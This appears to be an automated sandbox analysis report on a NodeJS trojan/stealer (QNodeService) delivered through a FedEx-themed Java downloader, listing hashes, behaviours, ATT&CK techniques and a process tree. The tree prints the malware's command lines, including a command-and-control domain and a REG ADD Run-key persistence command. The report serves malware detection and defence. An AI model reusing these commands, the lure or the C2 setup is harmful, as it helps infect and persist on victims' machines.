qnodeservice | 898d0a65e30c75af41dd79e1ae7420b2151255b0261e30931c646c96a025c4fd

General

Target

FedEx #187320605737.jar
Size

77KB
MD5

03cea94c4982504374bf20e9dbb4c205
SHA1

9a1bff66db5093102a35c3b49c992fd363eb5cdd
SHA256

898d0a65e30c75af41dd79e1ae7420b2151255b0261e30931c646c96a025c4fd
SHA512

1262022346d67fefc4567eae38b8f33320259f5d4af4e4f0ff3eb924d1bd005cc0b40e5d0f05e1a9b0ab4d751a965d0b9ef4fc20700a201cc08961de5e37a78c

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1176	node.exe
2000	node.exe
196	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\ed426e41-38b0-409e-93bf-08067d4621cc = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab51-171.dat	js
behavioral2/files/0x000100000001ab51-175.dat	js
behavioral2/files/0x000100000001ab51-179.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1176	node.exe
1176	node.exe
1176	node.exe
1176	node.exe
2000	node.exe
2000	node.exe
2000	node.exe
2000	node.exe
196	node.exe
196	node.exe
196	node.exe
196	node.exe
196	node.exe
196	node.exe
196	node.exe
196	node.exe
196	node.exe
196	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2868 wrote to memory of 3736	2868	java.exe	76
PID 2868 wrote to memory of 3736	2868	java.exe	76
PID 3736 wrote to memory of 1176	3736	javaw.exe	80
PID 3736 wrote to memory of 1176	3736	javaw.exe	80
PID 1176 wrote to memory of 2000	1176	node.exe	82
PID 1176 wrote to memory of 2000	1176	node.exe	82
PID 2000 wrote to memory of 196	2000	node.exe	83
PID 2000 wrote to memory of 196	2000	node.exe	83
PID 196 wrote to memory of 2032	196	node.exe	85
PID 196 wrote to memory of 2032	196	node.exe	85
PID 2032 wrote to memory of 3908	2032	cmd.exe	86
PID 2032 wrote to memory of 3908	2032	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\FedEx #187320605737.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:2868
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\ebdb4cc2.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3736
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1176
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_ryqvgn\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2000
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_ryqvgn\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:196
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ed426e41-38b0-409e-93bf-08067d4621cc" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2032
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ed426e41-38b0-409e-93bf-08067d4621cc" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/196-180-0x000003FA40740000-0x000003FA40741000-memory.dmp

Filesize
4KB

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memory/1176-173-0x0000016E8BF00000-0x0000016E8BF01000-memory.dmp

Filesize
4KB

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memory/2000-176-0x0000012F61A80000-0x0000012F61A81000-memory.dmp

Filesize
4KB

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